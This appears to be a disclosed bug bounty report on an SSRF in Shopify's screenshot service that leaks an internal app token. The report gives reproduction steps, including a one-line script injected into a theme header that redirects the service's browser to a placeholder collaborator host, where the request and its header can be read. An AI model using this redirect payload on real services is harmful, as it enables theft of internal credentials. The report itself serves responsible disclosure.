Shopify · Report #1067443
Screenshot Service leaks X-ABS-App-Token
Validstatus
14upvotes
12 Feb 2021disclosed
How it was found
- Login and create a development store
- Start Burp Suite and open a burp collaborator client then copy the collaborator payload
- Edit the section header.liquid of your current theme. Adding this:
<script>
window.location="https://[paste_here_collaborator]/";
</script>
Finally go to https://your-store.myshopify.com/admin/themes , in your collaborator client you should be able to read the server request
Impact
This SSRF expose X-ABS-App-Token: screenshot-service-production@████████ .
Fortunately when you load another location than the preview page of your shop the screenshot isn't taken but can open the door to another vulnerabilities.